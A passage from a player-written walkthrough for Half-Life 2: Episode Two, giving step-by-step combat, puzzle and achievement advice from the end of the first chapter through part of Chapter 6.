run onto the boards over another hole and fall down; either way, fall down
this hole. In the water, press the swim button a few times and get in the rock
tunnel. Funny looking grubs on the walls. Follow the tunnel (yes, stepping on
the poor things will kill them), and then use the crowbar to smash a bug
through a web. Take the path on the right, smash another web, and then fall
through another hole.

When you drop down, quickly turn left and start shooting at the new Acid
Antion Worker and be sure to dodge his acid attack. Keep moving and shooting
until he dies (an achievement), which will take about two clips of ammo. Pick
up the red box of ammo and go around the corner. There will be two more acid
bugs at the end. Run and dodge your way into a little area on the left of this
tunnel to find not only a shotgun, but also a few grenades (under the table).
You can either hurl gas tanks, toss grenades, or rush and shoot them with
shotgun shells, either way, get rid of the bugs (despite how it looks, you can
crouch to enter their little area). Break the crates for some supplies.

*NOTE: You didn't have to kill the bugs, I just wanted you to have those crates
in their area.*

Now fall through the hole near where you found the shotgun. Pick up a magnum
along the small tunnel. Use the Gravity Gun on the other side to clear the
debris trapping you in. When you're back on solid ground, use the GG to clear
the path. Two more acid bugs will appear, so just use the gas tanks provided
to kill them (careful not to launch one into something close).

*NOTE: It might be a better idea to use the rocks instead of the gas tanks.*

*NOTE: Now might be the time to tell you that each little grub you kill will
drop some yellow dots. Those dots replenish just a little health. The grubs
also get an achievement, but don't waste time on that now.*

In the cavern, go right to find the path that takes you up and to another web.
After you break it, another acid bug shows up. Kill him with rocks and keep
moving. When you drop into another area, another bug shows up. Kill him and
move on. Dive into the water of the next area and bust a web to grab some
health, then go down further into the same hole to bust another web for some
suit armor. Now take the adjacent tunnel. Have your crowbar ready when on the
other side you run into an Antlion in the water. Whack it a few times and
emerge.

Zoom down the way to see not only some bugs tearing into something, but also
the tongues of familiar enemies. When you move forward a bit those Antlions
will come for you, but some will get stuck. One may get to you, so be ready.
Keep the ceiling monsters alive as you move around them because more Antlions
will show up. Kill whichever ones don't get caught.

Get to the other side, watch for the tongues, and keep moving. In the narrow
tunnel, be ready for another bug. Have your shotgun ready when you enter the
next area as about three more Antlions will appear, but hopefully some will
drown in the water. Kill the acid one that remains.

Follow the path until you run into abour three more acid Antlions in a small,
round area. Then keep follow the path past another web until you hit a
loading screen.


Chapter 2: This Vortal Coil


Just up the way is a hole that drops you into the friendly base. Follow the
dudes down the ramp to see Alyx, but more importantly, there is the SMG and a
bunch of ammo along the wall. After you get all that, follow the men up to the
demonstration of how the next fight will work. Pick up some shotgun shells from
the big ammo box nearby.

*NOTE: A wise move would be to use the big SMG crate to get SMG ammo. Then you
should go find all the crates and bust them. Then move all the health packs
onto the ramp. This will help when the fighting starts and you'll have health
whenever you need it.*

*NOTE: You could even set all the mines before the demonstration, but the mines
won't help you much on the early attacks and there will be no time to set
them for the late attacks. You could just ignore the mines to be honest.*

Before things get messy, go pick up the other turret by the next tunnel with
the GG and set it in front of this tunnel. Make sure both turrets are somewhat
spread apart. That will handle this tunnel as the first bugs show up, and you
don't even have to help.

Now, as that battle starts, let's give each tunnel a number. #1 is the small
tunnel to the left that is no more than a hole in the wall, #2 is the tunnel
the first attack comes from, #3 the one to the right of 2, and #4 is the one
on the very right. The first attack comes to 2, so don't worry about that one.
With two turrets and your friends, single-light attacks will be easy.

The next attack comes from 1, so place both turrets there after the first
attack. Then, as they fight, go to the dumpsters and find some mines. Set
out two as far apart and as far from where you will place the turrets as
possible, and try to keep them in the middle of a tunnel.

After the second battle is over, then set the turrets up at 4 as you set out
more mines along the other tunnels.

Then you get a dual attack on 2 and 3. Your friends should cover 2, so just
put one turret over there. You take the other turret with you to 3 and you
will have to help defend that tunnel.

*NOTE: I can't explain it very well, but I will say that you can set the 
turrets up in ways so that they cover multiple tunnels. But if I explain 
exactly how to do this it would confuse people even more. Just know that you
can set the turrets back-to-back or side-by-side and have them cover more 
angles.

Then you get a triple-threat to 1, 3, and 4. Your friends take 1, so let them
go it alone. You set the turrets on the other two and you try to help both.
I advise launching a few mines down one tunnel with the GG, then going to the
other to help with your SMG.

Then you the same attack, but a two-light on 4. Your friends take 4, so let
them be. Set the turrets on 1 and 3 and you help on 1.

Next is a full house. You don't have much time, so listen well. Set up both
turrets next to 2, but make sure they are at an angle so that they can cover
1 and 2. That just leaves you to juggle 3 and 4 with your friends, so good
luck.

*NOTE: Pick up more shotgun ammo if you run out.

After that, another quad attack, but this time a two-light on 2. Set both
turrets on tunnels with single-lights, and you take the one with two. If things
get to hairy for you, retreat and reposition your turrets to help cover the
more threatening tunnel. You will lose both turrets during this fight, not
much you can do about it.

After that, then is a three-light attack down 3!!! Not really. It's just more
friends. But then you get three-lights, on EVERY tunnel! It's for real this
time. However, your three new allies will kick some serious tail. All you
really have to do is sit back at the bottom of the ramp and watch. They'll
take care of everything.

Now that the battle is really over, collect the ammo and maybe the health from
tunnel 4. Then watch the Vorts heal your girl. You learn that something is
needed to heal her, so the lead Vort will take you down a tunnel, follow. After
he opens the gate, you take the lead, so enter the hole in the wall.

Open some webs along the path and then you run into some more Antlions. He
will shock them, so either toss a grenade at them or run up and start shooting
away with your shotgun. Then there will be more "Acidlions" as he refers to
them (so will I), and that's pretty much the story of this place. After you
get past this room, the next will have more bugs. Follow the winding path in
here to keep moving. After this room you enter a quiet tunnel with another
web cache.

Proceed and there will be more bugs in the narrow tunnel, so use either the
magnum or SMG for long range. Keep going and you'll see a web cache above
you. Zap it with the GG and then grab the grenade before it goes off, or get
way out the way. Then send something up into this hole for another web cache.

Moving on, you eventually find a hole that drops you back into the mine. Don't
you dare walk onto the wooden floor for those boxes. Use the GG to bring them
to you, or walk on and see what happens (you won't die).

When you start busting the boards that cover the door, the zombies will wake
up. Just use the pistol from your side of the fence to take them out; with
headshots of course. Use the GG to open the door and collect the stuff in here.
Then pick up the gas tanks and start sending them into the corpses in the next
room. Those hyper-zombies will wake, so either blow them away or use one
magnum round to the face.

In this room you encounter another puzzle, or perhaps the first true puzzle.
You need to get that elevator to go down, but you're not heavy enough. All you
need is the bundle of metal beams and the two barrels in the corner. Grab all
three with the GG, set them on the lift, and you step on. As you descend, look
to the back to pass by an ammo crate and try to grab it; if you don't, don't
worry about it.

At the bottom, step off and have the GG ready. When you go around the corner
you will find a zombie on the left and right, and a Zombine behind the fence.
Use barrels or magnum rounds to kill them. This Zombine, and the one behind
the fence in the next room should both kill themselves with grenades.

In the next room you will find another lift. The control is behind the fence.
The idea here is to weigh down the lift just enough so that it stalls after you
press the button. Go pick up the two bundles of beams below the lift, which
you can get while the lift is down, and then grab the one in the corner. These
three items will be enough. Now go press the button, then jump on the lift,
and then toss two of the bundles off. Leave one with you.

At the top the group of zombies will rise. Use the GG and this one bundle to
take them out. Then go turn the wheel by the fence to let your friend in. Lead
him to the generator to open the gate.

Through the gate you run into a cart with three crates tide down. You can't
disturb the second cart or the whole thing will tumble over. Use the GG to
pull the free one off and then get ready. What you will do is jump on the
second cart, use the GG to blast the three crates open, and then you hop off
before you go over the edge. You will jump from the first cart to the second
one, and you not going over the edge is the first priority. He will give you
props if you pull it off.

Now move down the tunnel for one lone zombie. Then you run into some boards
blocking the way. You can shoot at the cart at the top of the slope to come
crashing down, or your friend will do that for you. Either way, get through and
start killing the zombies and Acidlions in the tunnel.

At the top is a ladder, so take it. Follow the path and you find an odd
container in a room. This container can be pushed using the GG. Move it out of
the way of the hole in the floor, and if you want you can shoot its bottom
until it flips over and drops some grenades, just watch out for the live one.
Then drop through the hole.

I'm not even going to say anything because you need to experience this scare
for all it's worth. I'll pick you up after you climb out of the hole.

Did it get ya? I hope so. After you are reunited with the Vort, all you have
to do is go up a bit and then turn left. But if you need more suit armor, use
the sprint button (LB on 360) to find some at the top of the slope, then
come back and get on track.

Go to the edge and follow it left to find the bridge-way. Cross it and then
follow the tunnel. When you get close to the pounding machine, just jump down
and get right next to it. Just stay there and wait for the Vort to show up,
but have your shotgun ready for the zombies and Zombine. All heck will break
loose, so be ready. You can try to use the GG and send exploding barrels all
over, but it doesn't work so well. Let the bugs and zombies and the Vort kill
each other as you just look out for yourself.

There is a lot to do in this area. For one, there are tons of crates all over.
Find the ladders around the pounder and you will have the view of the crates
and items up high, not just on this structure but also on the other one nearby.
It is wise to send all the crates, from the structures and from the four
tunnel-ways, send all the crates into the ramp leading to the elevator. This
is all in preparation of the coming fight. Then set the mines around the
pounder.

*NOTE: Save now! I ran into a glitch here. What you don't want to see is the
Vort run into one of the buildings when this next battle starts. If he does
he will not come out for some reason. He must stay in the open. After you
get on the lift, he should get on the other. If that doesn't happen, reload
this save.*

When ready, go push the green button by the elevator. This will trigger a
huge battle where undead and bugs will come from all sides. Just use the
SMG and make circles around the ramp for as long as you can. If things get
too hot around you, just bail out and start running all over, but always come
back to the ramp. When the elevator arrives, jump on. He will stay behind, so
just watch him and maybe help him if you wish. When you get to the top, step
off and look down to wait for him to hop on the other lift.

Once the two of you are back together, he will open the next gate. Follow the
path and move the debris blocking the door. On the other side you are teased
with the thought of fighting the boss, but not yet. Go up the path and drop
down a hole. At the fence, use the GG to blast some boards on the other side
that prop up the gate.

In the rail tunnel, go left if you need some SMG ammo. Go right and bust a
board to open the gate to keep moving. At the elevator, go around it to find
the path to the tunnel below. Stand back of the edge a bit, then sprint and
jump to the other side below. The fan will turn on when you bust the object.
Try to fight the wind and then the thing will break. You will notice one
set of blades is missing. Use the GG to turn the fan and get the area with
the missing blades on the bottom. Then crawl under.

Follow the path to a hole in the floor. Take it and keep popping the webs
until you fall into water. Behind you is a single unit of suit armor, as well
as a Barnacle. Get your crowbar in hand and go under water, find the web at
the bottom, bust it, go through, bust the next one, and the get some air on
the other side. Turn around, avoid the tongues, and find a space you can
walk on. Take the tunnel on the wall, a much different tunnel.

At the end will be two Acidlions to greet you. Take the path on the right
to run into a medkit, and then go right at the fork in the road (if you go
left you just circle back around to where you started).

Have your SMG in hand, and when you're ready drop off the ledge. Move around
the rock to get a view of the coming guardian. You don't have to shoot him,
but if you do you can use the grenade on the SMG to stall him a bit. What you
want him to do is ram into the stalagtite (or mite, whatever) and that will
stun him for a second. That is when you sprint around him until you find a
small tunnel to climb in. Do it right and he will run away in frustration
once you're in.

Crawl through and watch him go by you at the end. Go out and head left. When
you see a medkit, quickly run to the left of it and duck inside another small
tunnel. Follow this tunnel to the end. Crack the web and watch him run by
you yet again.

Come out and run right to pick up some suit armor as you run for another
tunnel. Follow this one to its end.

Now, before you go out of this tunnel you must know the gameplan. The path
here goes in a circle. He is behind the rock and he will come from the right
when you step out. So what you want to do is run left and then take the path
that leads to where he came from; if you to in the opposite direction you
just end up at the place you came from. Now he may come from the left, so in
either case just go the opposite direction. You will have to sprint for a
long ways (he may get a swipe at you) but there will be a tunnel to hide in.

You're not done yet, this tunnel leads nowhere. You have to come back out and
run to the left until you hop down, then immediately go right to find another
tunnel. Follow this one to its end.

Have either the GG or the SMG in hand. When you emerge, sprint to the left
until you reach some boards against a hole in the wall. Bust them quickly and
hop in. He will be on your tail and take some shots at you while you're in
here. So look quickly look down and bust some boards on the ground to get to
safety.

Follow the rail to a large room. On the right you will find two web caches, and
one will have a poison headcrab. The lift will not be working, so go directly
in front of it to find a machine in a pool of water. Pull the cog off that
machine and take it to the turning cogs on the elevator machine. Either kill
the Barnacle in your way, or move the cog around it and get it to fit in the
middle of the machine. When the all the cogs are turning, pull the lever. Now
go to the elevator and push the green button to bring down your friend.

Follow him to a generator and then to the prize. He will extract some larvae
and then you guys head back up.

Get into place in the circle of Vorts as you heal Alyx. Then you get another
one of those classic scenes from Valve that makes little sense. After, be
sure to get full ammo from both crates and then get on the elevator. Move
along to find that the Antlions are none too happy with you. Keep moving and
drop down to end this chapter.


Chapter 3: Freeman Pontifex


Go up to finally reach open air. Zoom in to the bridge to see the Combine on
the move. Then move around the barrels on the left to find the path leading
down. Go left to hit the open path full of pounders. You need to run along
the first three pounders to avoid the endless Antlions. There are crates along
the way, but they only have health. When you reach the third one, rest inside
a small shack on the right that will protect you from the acid.

When you leave the safety of the third pounder, get out the GG as you approach
the rails in the ground. At both ends will emerge big Antlion Guards. With the
Gravity Gun, pick up the red barrels and start tossing them, but try to focus
on just one. The sprint button will be your friend during this fight. You need
to run all over, but try to lead the guards into walls. If they charge at you,
get by a wall, and then run out of the way when they get close. When stunned
you have a little bit of time to hit them. You don't have time for grenades,
but be sure to use any you may have in the SMG (the alt fire, press LT). You
can ignore the smaller bugs, just focus on one guard. When the first one goes
down, then go for the other with the shotgun/magnum.

*NOTE: You can go back into the pounder area for more barrels if you want.*

After Alyx and the Vort rejoin you, he will open the lift nearby, but it gets
stuck. Climb up the ladder and then take the grassy path on the right side.
Watch out for the headcrab. Go around the pod and gently move onto the wooden
board so that it will fall away. Then you must jump the gap to reach the other
planks. When you get close, look on top of the elevator to the wooden board
holding the hatch. Use the GG to break that piece of wood, then knock off the
metal hatch, and then drop down. Pull out the pickaxe and you're done. Press
the button to get everyone up. Then follow the path to a load point.

Proceed until you find the Pulse-Rifle with a bunch of health and dead guys.
Soon you get a bit of a scene about your next task. Move to the force-field
and wait for Alyx to open it. Go through and find a room with a large water
tank. Move the green shelf, carts, and wooden boards blocking the elevator
shaft, then hop down. Crouch, turn on your flashlight, and move the objects
in your way. Then bust the wooden boards and hop down.

You probably hear that creepy noise. Crawl through the hole into the dark
room. When you move the chair from the door, the big zombie will bust through.
You should crawl back out of the room and drop a grenade behind you (press LT
on 360). The thing will crash through the wall to get to you, so maybe toss
it another frag, then finish it off with the shotgun.

Go through and bust the planks on the floor to get down another level. Look
on top of the elevator and get the hatch off. Jump to the other side of the
elevator (not down) and look down to see two poison headcrabs. Shoot them
before dropping down. Go through the door in here to enter a staircase where
you find that Alyx has the sniper rifle working. Go down and through the door
at the bottom.

In the next room, look down and quickly use the GG to grab the two crates or
else Barnacles will claim them. Then drop down and pick up a barrel. Behind
you will be a bunch of tongues in front of a doorway. Put the barrel in one
tongue and slip by. Then break the boards blocking the path to see more
tongues in your way. You should pick up one of the gas tanks in here and send
it up to the Barnacles, but make sure you stand back. Cross the big plank in
the middle to get over the gap.

Watch as the torso zombie gets burned in the fire, then maybe wait for another
to so the same. Turn the valve to extinguish the flames. Go across and look
down the steps to see another zombie. Just toss down a grenade. If you want,
you don't have to, but you can open the door he was banging on to find a room
full of undead and crates. Be sure to toss in a grenade first and use the
shotgun to mop up the survivors. Then go down the steps.

You can investigate the rumbling in the blue container; it's a fast zombie if
you get too close. Break the lock on the door and go through. Let Alyx handle
the zombies in this corridor. Crawl through a space at the end. When you
emerge, quickly toss a grenade down the steps, then back out of the line-of-
sight of the carrier zombie at the bottom. Alyx will handle all of them if you
just want to hide in the corner, or go back through the crawlspace.

When the coast is clear, go down the steps to find a locked door. Back away
from it and hide behind the fence in front of the door and get your shotgun
ready for the zombies that emerge. Alyx will handle what gets up the steps, but
you can use the gas tanks to help. Then go through the doorway.

Go down the hallway and as soon as you turn the corner blast the second barrel
to take out the zombies and Barnacles. Ignore the other barrel and mop up
any remaining headcrabs. When you moved toward the boarded up doorway, have the
shotgun ready for a Zombine. Don't miss the shotgun shells in a crate behind
the pipes, then proceed up the steps.

Go right to find just some rifle ammo. Then follow the path up a ladder. Use
the GG to blast the metal pieces covering the tops of the roof. Don't fall
down through a hole, just make the roof clear so that Alyx can snipe some of
the undead below.

Have your shotgun ready and drop down onto the platform standing above the
ground. Defend this for as long as possible from the zombies that will try to
smash it down. When it does crash and you're on the ground, all heck breaks
loose. You will have zombies all over in no time. But use the saw blades on
the walls to help ease the trouble.

After the first wave the game should save, but then you get another wave. A
huge group will crash through the wall on one side, and more will come from
the other side. Drop some grenades, slice the Zombines, and just run around
in circles hoping Alyx has you covered. Use the shotgun to finish up.

When all is calm, search for crates and supplies. The fence trapping one
zombie has a crate, but you just need the GG to pull the crate over the fence.
Then follow the path from the broken wall to find the trail.

You arrive in a dark storage room. Crawl under the shelves on the right to find
a crawlspace. You run into a fast torso at the end, and then another around
the corner. Hop up on the wooden platform and keep hopping along to get to
the other side of the room. In this closed off area you need to get up to the
top platform on the wall, but no shelves will take you there. Use the GG to
bring a crate and set it on the lift of the forklift. Then go toward the
driver seat and pull the lever. Quickly get on the lift as it goes up. Then
put the crate on the side of the lift near the top platform and jump up. Break
the vent cover and crawl through.

At the end you drop down in the radioactive waste area. Drop down through a
hole to hit the ground level. Watch out for all the zombies in the sludge. You
can jump from ground to ground without the aid of the objects. Hop over, be
sure to kill the Zombine when he rises, and then follow the edge around the
pool to get through the opening in the fence. Use the barrels to kill the
zombies that attack you behind the fence, then climb up the ladder. Stock up
on SMG ammo at the box. You will find a crate behind a fence, so just pull it
over the top with the GG as before. Then crawl under the pipes to drop down
on the other side.

Have your magnum ready when you move toward the next waste pool. A headcrab
carrying zombie will appear, so take him out quickly and dodge the headcrabs
he tosses. Jump to the wooden roll in the waste to reach to pipes that lead
up to a crate. Bust the crate and then jump down to the ground with the other
crate, then pull whatever fell out of the first crate with the GG.

Now comes another fun radioactive waste puzzle. The object is to use the rolls
throughout to make yourself "bridges" to safe ground. Pull the roll across the
waste to you, and bring the one from the waste behind you. First jump on the
car and to the first rock, then jump onto the second rock. When you jump on
the next car it will begin to sink into the waste. You can either quickly
pull the roll from the third rock into the waste to create a platform, or you
can jump back and use all three rolls to make a moving bridge, but using the
car is easier.

When you reach the third rock you need to quickly pull out your shotgun and
start shooting the gas tanks in the sludge. Whatever you do, don't let the
Zombine get close with a grenade. When all are dead, use the four rolls you
have to get to the fourth rock. Once you get there, pull out the shotgun for
more zombie fun, but Alyx should get all three.

Make your way to the fifth rock where the last trio of zombies will attack, so
use the gas tanks to kill them. Pull the crate for the sixth rock way away to
you with the GG and then get over to the ladder. Head up and up until you
find a small shack. Go inside, but be ready for the fast zombie in here to
wake up and the Zombine outside to awake. Kill both and claim the rewards in
the room. On top of a ladder on the adjacent building is a crate with some
health.

Go up the slope to reach the bridge at long last. When you get to the car,
disaster strikes of course. Go to the left to find a crate, but also on this
small walkway is a ladder. Get on top of the red railing to find a path back
onto the middle of the bridge. It took a while, but the trick is to push all
the cars off the bridge. This will cause the thing to tip down to the side
where your car waits. When you get all the cars off, hop off the low end of
the bridge and get back up to your car. Drive it onto the see-saw bridge and
jump off the high end (you don't need to turbo, but you can).

When back on the side with your friends, collect the stuff around (look in the
dumpster) and then climb a ladder to find the button that unlocks the door.
Reunite and say your goodbyes to your Vort friend. After he opens the gate,
hop in your ride and get going toward the light.

Chapter 4: Riding Shotgun 

Follow the road a bit and then take the detour off to the side. Follow the
water back a bit and then take the dirt path on the right. Head past a gate
and toward the tower. Get out near the tower and then turn around. Go left of
the big building nearest you and find a path that takes you to the roof. Find
a hole that drops you into the building. Find the items around and then go out
to a smaller, adjacent building with the walls blown off. On the mound of dirt
is a hole inside the locked room.

She stays behind as you go inside. Drop down a hole to reach the power room.
Get out your GG and move the wooden thing on the wall. In total, there are
five power slots in this room. The two near the elevator will have a small
cord; the three near the power box will have a long cord. Swap the two cords.
Put the longer one on the two by the elevator, then take the short one and
connect it to the two slots closest to each other (making a straight line). If
you connect the power generator line to the lower slot, it will just break.

When the power is restored, take the elevator back up. You run into a Hunter,
actually, you run into three. Duck behind the wall on the left of the door to
hide from their attacks. Use the grenades on the SMG to poke out and take a
shot at them. When the wall is torn down, either use the SMG or rifle to kill
the first two; you may have to run around to avoid their attacks if they
charge at you. Then come out of the room and look to the roof for the third
one. There are barrels behind you if you have time to use them, or just fight
the thing straight up, much like how you fought the Antlion guards.

When you come out of the gate for this building-complex, two more Hunters
appear: one from the right, one from the building in front of you. Use grenades
and magnum rounds to finish off these two, they're not that tough.

After the fight, go into the building just opened and find some supplies in the
bathroom, then go to the radio in the other corner. After that, go into the
only remaining building by the gate to get a lone crate. Then return to your
car and go through that gate.

Go left when you see some wooden fences to find the path. After you jump a
small ledge you hit a load point.

Keep going until Alyx sees a familiar sight, then go left. Around the burning
wreckage, go right and into a farm-like estate with a locked fence. Get out
at the fence and first enter the house on the right side for no more than
some crates.

Then go to the left building and break the lock on a door. Go through and find
a hole in the floor that you can take. Follow this path to the inside of the
barn. You find an Advisor and Alyx intends to pull the plug on it. Use the GG
to blast the power ball inside the chamber and then you get a bit of a scene.

After your close-call, look to the door in the corner in anticipation of your
first run-in with the Combine soldiers. Kill the first guy and enter the room
to find your old crossbow, use it on the next guy and then the next. Collect
the items and go back outside to snipe some more in the opposite building.
When things die down a bit, just run to your car and hop in. Push the pedal
and dash by the Hunter and company.

Go around the cars in your path and then turn to follow the railway. Do your
best to beat and dodge the mines the helicopter drops. Just weave in and out
of the train cars, hitting some crates along the way, until you enter the
tunnels leading to the next area.

Go forward and jump through the ramp. Follow the path on the left of the the
trains. A zombie will jump on, but just swing around when you get to the dead-
end to fling him off. Now turn around and take the path that was on the right
of the trains, now it's the left. Fly past some zombies and try to avoid the
Barnacles. Keep following the railway until you see some trains in the way,
then to right and through a friendly gate with the Half-Life logo.

Ditch the car and follow your new friend. Don't follow him around the corner,
because he gone. Then hop down and crawl under the train car. Knock some wood
boards out of the way near a mine, and then use the GG to pull that mine to
break it. Then crawl through and keep crawling under the train to get to
open ground.

When you get out to join the Resistance, go to the large building in front of
you, go up some steps, and use the suit station to fill up your suit armor.
Now get out your Gravity Gun and come outside. Locate a mine and pick it up.
The idea is to send three of these into the chopper, which is easy since you
get a good amount of time to hold them.

After three, take cover because the chopper will drop a ton of mines that
you shouldn't get near. Then resume your attack with more mines. You just
need two more or so and the helicopter threat is no more.

Search the area for more supplies and then follow your allies into a building.

Chapter 5: Under the Radar 


Follow and listen and then look out the window to see your next task. Then
go with the man to the trap door. Drop down it and start clearing the boards
from the window. Send a saw blade through the window to take out the Zombine
and whatever else is standing on the other side. Use the gas tanks in here and
the other saw to take out as many zombies as you can. Then you can run out and
take out all the rest, or just run to the back of the truck on the right and
get out of this place. There are just two crates in the sludge on the left, so
if you don't mind you can just move on. Jump on top of the truck when you
want and clear the window to jump through.

Open the door and drop down for more zombies. Kill them, or let the guns across
the way get them. Either way, move forward along the partial wall to find the
hole in a fence. Crawl through and stay low to avoid being shot up. Crawl
forward and into a pipe. Kill the headcrab on the other side, or just use the
GG to keep it at bay until it dies.

Break the crate and pick up some grenades. Crawl forward, staying behind the
cover of the cars, and peek around the corner on the right to find a turret
along the fence. If you move slightly out into the open it will reveal its
location. You need to toss a grenade in its direction in the hopes that you
knock it over.

Go forward and toward the building at the other end. Eventually you will be
behind some bigger vehicles and you can stand up. When you're ready, poke your
head through the window and start firing on the soldier inside. Then hop in
and look for another guy out the other window. Collect some supplies and then
find a car with an open back that you can crawl through.

In the next path you will run into more zombies, and hopefully the guns will
get those and the headcrabs. Move quickly because the torso zombies will keep
spawning. Go through the white car and ignore the first soldier you see
chasing a torso, just keep following the trail of cars. Kill the next soldier
you see if you can get him and keep moving. There will be a fast torso at
the end, so have your shotgun ready. When you finally reach the end of the
cars, you can stand up.

At the back and around the corner is a Zombine, if you want to meet him. Just
jump on top of the truck, kill the headcrab, and collect some ammo. Jump on the
roof and kill the soldiers remaining in the junkyard. Then turn to see some
glass that some soldiers have probably broken. Just start tossing grenades
down inside and in all directions. Go back to the truck to get more. Drop down
inside when you feel the coast is clear, but the Combine may have dodged some
of your frags. You know all is clear when the game auto-saves.

Drop down and collect all the items inside. Refill your grenades with the
box in here and then go to the wall with the guns. Press the red button to
open some case. Get out a grenade and drop it inside (LT on 360) and then
stand back. The thing will blow and take out the guns, and open up a path
for you to exit.

Go outside with your shotgun and take out the zombies in your way. Make your
way toward Alyx and head back to the garage. Hop in your fixed car and head
out.

Move across the small bridge and into the sludge which you are safe from. Zip
by the zombies and you will see a blip for a radar cache. Keep moving until the
yellow dot on the screen in your car is in the center. You should stop at a
white van in the path. Go around to its back and stand away. Shoot the red
barrel to blast away the car on top of it. Now bust the crate from the back
and shoot the items toward the hole on the side. Go to the hole and pick up
the items.

*NOTE: To get the achievement credit for finding a cache, you must break the
crate with the radar on it.*

Proceed until you see two more yellow blips. Stop by a building with a white
van stuck in its side and go through the van. Inside, grab some grenades and
examine the big metal plate in the center of the room. Use the GG to knock it
back down and then you stand by the van. What you will do is drop a grenade
down below the plate, stand on the plate, and then get blasted up to the power
generator. When you do, press the button to unlock the gate below, and then
collect your rocket launcher and other items.

Get out and get in your car to go across the road and enter a junkyard. Go to
the tiny shack up the path and get out. The cache is under the floor. Start
pulling the floorboards and you will see the many crates underneath. It's not
the best of rewards, but it's something. Fight off the zombies, get in your
car, and cruise on down the road to the tunnel on the right.

After you emerge you will soon get another blip. Turn left and go up the
road. It will wind and bend around a bit, but only get out when the blip is
very close. The cache is behind a downed tree, and through a hole in the rock.
Crawl through, move the rocks out of the way, and claim the small reward. Get
back in your car and keep going.

You can get out when you reach a couple of building in the road, but all you
get are some health packs. Just go around the cars and keep to the road. But
when you bend around a big house, you might consider getting out and going
inside. The basement has a headcrab and crossbow ammo, and the rest of the
place will fill up your suit armor. That's all, get back on the road.

But when you try to follow the road you will fall into a trap. Now you must
fall back into this house. Your best move would be to go to the big living
room area and try to snipe as many soldiers as you can. Eventually they will
start to try and enter the house, so when you're out of ammo, go to the
entrance and greet them. Just keep moving around the various areas of the
house to get them to show up.

Go down to the basement and then come up back to the living room. A Hunter
should try to get inside, but if you have one alt round in your rifle, use
it now (press LT) and that should take out the Hunter. There are still some
left. Now go to the basement where you might run into one. Get around it and
fight your way to the yard area. Or you could use the living room door when
a Hunter busts that open.

When in the yard just use all the tools you have left to finish off this
ambush. Rifle rounds work well, and so does the rocket launcher. However you
do it, do it.

After that, make your way back down the road you came. You run into another
Hunter and some soldiers at the first set of buildings. Take them out, maybe
with a bunch of lucky grenades, and then collect the items. In the building
on the right will be a force-field guarding the power source of the other
shields, as well as a turret. Go to the right and get by the fence and use
your GG to pull the turret out of position. Then Alyx will take down the
fields. Go into the room and then you're stuck.

Look to the right to find a ladder with a lock. Break it and climb up. Move
the crates out of the way and follow a narrow path around to a raised space.
Jump into this space, kill the headcrab, crawl across the pipe, and then drop
down behind the field. Grab some rifle ammo and then move some crates to
reveal a crawlspace. Go through and blast the ball with your GG to unlock the
road. Go out of this room and take Alyx back down to the car. There is an
open building to the right of the car with suit armor and health. Get in and
start drivin'.

Hop off a ramp to keep on track. Past a burning car, follow this road onto a
bigger road and follow it. Soon you see the final radar cache sign. Hop out
of your car and go around a rock and look up. The stuff is up there, but I
could not find out how to get that stuff down. All you need for the achievement
is to crack one crate, so do that. As far as getting the items, you could blast
them out with some rockets of SMG grenades, if you think the rewards are worth
it (you get one SMG grenade with it, so you may as well). Anyway, keep going
down the road and into a tunnel.

Follow the road just a bit until you see an opening in the railing on the
right. Go down and hang left until you hit the gate. Get out and go around on
foot. Approach the dropship to find a STRIDER!!! But perhaps the best pet in
the world will show up and all you have to do is watch.

*NOTE: Make save slots if you want that achievement. One here and one as soon
as Dog clears the ship. Come back to that one if you lose and want another
shot.*

After, Dog opens the gate, so get your car and drive through. Pick up Alyx as
the Dropship is moved. If you want to beat Dog, you have to get moving ASAP.
When you round the corner, go up a path on the right and follow it to the
base. The trick is to use your turbo three times: once at the start, once up
the hill, and then once during the final stretch. Try not to use turbo during
curves or near that bend at the top of the hill with the railing. Any collision
during a turbo is instant-loss.

Either way, at the base follow Alyx.


Chapter 6: Our Mutual Fiend 


Move through when told and you can stop to listen to some funny stuff with
the teacher and students in here. Move along to have the family reunion, so
sit back and watch and be awkward a bit. Follow them down a lift to have more
of the active cutscene. In the silo you will eventually be stuck with the
new guy. He opens a hatch, so go down.

Take the elevator to the lower level. Get out and find a pipe spewing steam.
Turn the valve to get through (steam, valve, get it?). At the door, look right
and bust the glass and throw the switch. The door will jam, but the Vort will
let you through. So keep going.

Make a quick stop of the supply area on the left and then proceed. Follow the
red lights to some guys that will try to lead you on, but that doesn't work
out so well. Go down the steps near the door that closes, turn around, crouch,
and crawl under the steps to find a path.

Crawl until you reach a room with three Hunters fighting some allies. Use the
energy ball in your rifle to kill two of them, or at least one, and then finish
off the other however (there are lots of gas tanks in here). The crates only
have medkits, so get to the upper catwalks and find a ladder leading up. Turn
the valve to clear the steam on the ladder.

When you move down the corridor, back up as the flare is thrown and let the
soldier come to you. Poke around the corner and let the other two charge after
you, but then retreat a bit and blast them with your SMG. Then get out your
GG to grab and toss the turret. Go straight down this hall and kill the two
soldiers near the water.

Get out your crossbow as you come into this room and start sniping the soldiers
at the other end. Then hug the left wall and knock over the turret on the
platform, but it isn't really looking at you. Use the GG to grab the two gas
tanks across the way and launch them into the other turret guarding the
other path. Go into the hall and kill the two soldiers up the slope.

When you get to the top you run into a Hunter. Use three SMG grenades if you
have them and then a few bullets to kill it. Now go up and into the little
area for some supplies. Follow the corridor and then look to the right beyond
some debris, two soldiers will try to ambush you, so be ready. Enter the next
room and go up the steps to hop over the fence. Collect the supplies and then
dive into the water.

Swim through and hop out while under fire on the other side (this is where
the guys came from that ambushed you). Emerge quickly and get to cover. Climb
up the ladder and then the next. You will be under fire, so quickly get rid
of the bad guys. Go around the walkway to the next ladder and go up. Don't
worry about nothing, just get to the top, kill a few bad guys, and head down
the tunnel. Crack some crates under a staircase and be ready for some soldiers
as you go up.

Wait for the manhacks to come down and kill them. Hide behind cover and toss
some grenades across the gap and into the room. Then go right and crawl under
some debris to get over there. Quickly crawl through the broken window and
pull the lever to close the silo door. You can man the gun here and shoot the
guys up top, but you don't have to. When some bodies appear across the way
on your level, don't shoot, those are your friends.

Collect the items here and around and then join them. Follow them up to the
door and keep going. Well, after avoiding near disaster everyone seems pretty
calm about all this.

Follow Alyx into the computer room where you learn quite a bit. Then follow
Dr. M when he shows up. You learn of a new toy and you get to test it. I'll
shut up and let him guide you through the test. Don't miss all the handgun
ammo in the corner. Follow Dr. M when you're ready.

In the garage you get briefed on the mods to your car. Make sure you have the
items in this room and then hop in your ride. Go out and through the fence,
then go straight until you find the railway. Follow it and go right when you to
